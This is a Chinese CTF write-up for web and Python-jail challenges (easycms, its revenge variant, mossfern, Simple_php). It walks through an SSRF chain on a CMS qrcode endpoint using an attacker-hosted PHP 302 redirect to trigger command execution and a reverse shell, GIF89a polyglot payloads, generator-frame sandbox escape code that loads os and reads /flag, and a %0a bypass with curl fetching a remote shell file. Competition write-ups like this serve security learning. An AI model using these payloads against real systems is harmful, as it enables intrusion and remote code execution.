Web

easycms

发现目录下存在 flag.php

有hint

提示1 /flag.php 

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

   echo "Just input 'cmd' From 127.0.0.1";

   return;

}else{

   system($_GET['cmd']);

}

提示2github找一下源码?

看见 $_SERVER[“REMOTE_ADDR”] != “127.0.0.1” 首先考虑找ssrf

全局搜索一下 curl_exec 函数的调用

在 dayrui\Fcms\Core\Helper.php中

存在 dr_catcher_data 对 curl_exec 进行了调用

image.png

再往上找 在 dayrui\Fcms\Control\Api.php

里面的 qrcode 函数里面找到了调用

image.png

这里的一些参数都是可控的 尤其是$url的值

我们只要绕过一些判断即可

image.png

payload:

s=api&c=Api&thumb=可控url地址&m=qrcode&text=test&size=80&level=1

在vps上面的php环境下写个 header 302跳转 的php文件

<?php  header("Location: http://127.0.0.1/flag.php?cmd=反弹shell命令");?>

弹出shell后直接执行./readfile 读取flag内容

easycms_revenge

注意审计源码 而不是随意猜测判断魔改逻辑 多了个图片判断 image.png

302跳转内容: POC1

<?php  header("Location: http://127.0.0.1/flag.php?cmd=反弹shell命令");?>GIF89a

GIF89a同理可以用define定义

POC2

<?php header("Location: http://127.0.0.1/flag.php?cmd=payload");?> #define width 5000 #define height 5000

思考:为什么图片判断必须在后面 为什么不本地试试了访问是否进行302跳转了 明显不通 image.png 如果GIF89a在前面的化 报错第一行 不能修正header information 在PHP中 ==首行代码即调用header,防止在header之前有任何输出==

POC因该为

<?php  header("Location: http://127.0.0.1/flag.php?cmd=反弹shell");?>GIF89a

mossfern

Python Jail逃逸栈帧 题目改编自 https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Just%20a%20pyjail 考虑栈帧逃逸sandbox 列举当前生成器的栈帧
每个栈帧都会保存==当时的 py 字节码和记录自身上一层的栈帧==

def my_generator():
    yield 1
    yield 2
    yield 3
gen = my_generator()
frame = gen.gi_frame 
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

image.png

可以回显说明 栈帧逃逸是可用的

def waf():
    a=(a.gi_frame.f_back.f_back for i in [1])
    a = [x for x in a][0]
    buil=a.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
    dir=buil.dir
    print(dir(buil))
    
waf()

如果您熟悉 python,您可能知道有一个__loader__on __builtins__,它允许您导入任何内置模块 ( sys.builtin_module_names)。神奇的是,import在此版本中它不会触发审核事件 __builtins__["__loader__"].load_module 拆分单个字符/编码绕过

def waf():
    a=(a.gi_frame.f_back.f_back for i in [1])
    a = [x for x in a][0]
    buil=a.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
    dir=buil.dir
    str=buil.str
    #print(dir(buil))
    #print(dir(a.f_back.f_back.f_code.co_consts))
    for i in str(a.f_back.f_back.f_code.co_consts):
        print(i,end=" ")
    
waf()

结合 CF 去空白 直接翻转输出也是可以的

def waf():
    a=(a.gi_frame.f_back.f_back for i in [1])
    a = [x for x in a][0]
    buil=a.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
    dir=buil.dir
    str=buil.str
    #print(dir(buil))
    print(str(a.f_back.f_back.f_code.co_consts)[::-1])
    
waf()

image.png

这里从seed入手构造:

def f():
    yield seed.gi_frame.f_back.f_back.f_back
seed = f()

后面 if flag in output 判断 直接hex()编码bypass:

def ff():
    def f():
        yield seed.gi_frame.f_back.f_back.f_back
    seed = f()
    for item in seed:
        raw = item
    frame = raw.f_globals
    builtins = raw.f_builtins
    loader = builtins["_""_loader_""_"]
    get = builtins["get""attr"]
    os = get(loader, "load_module")("os")
    setattr = builtins["setattr"]
    setattr(os, "_e""xit", lambda x: None)
    print(builtins["open"]("/flag").read().encode().hex())
ff()

Simple_php

可以用 %0a 绕过关键字 curl下载远程文件 cmd=cu%0arl http://ip/file -o /tmp/shell 运行反弹shell
文件系统没发现 flag 读取/etc/passwd 发现存在 mysql用户 尝试本地登录 mysql -u root -p root 发现flag在数据库中

ezjava

待填坑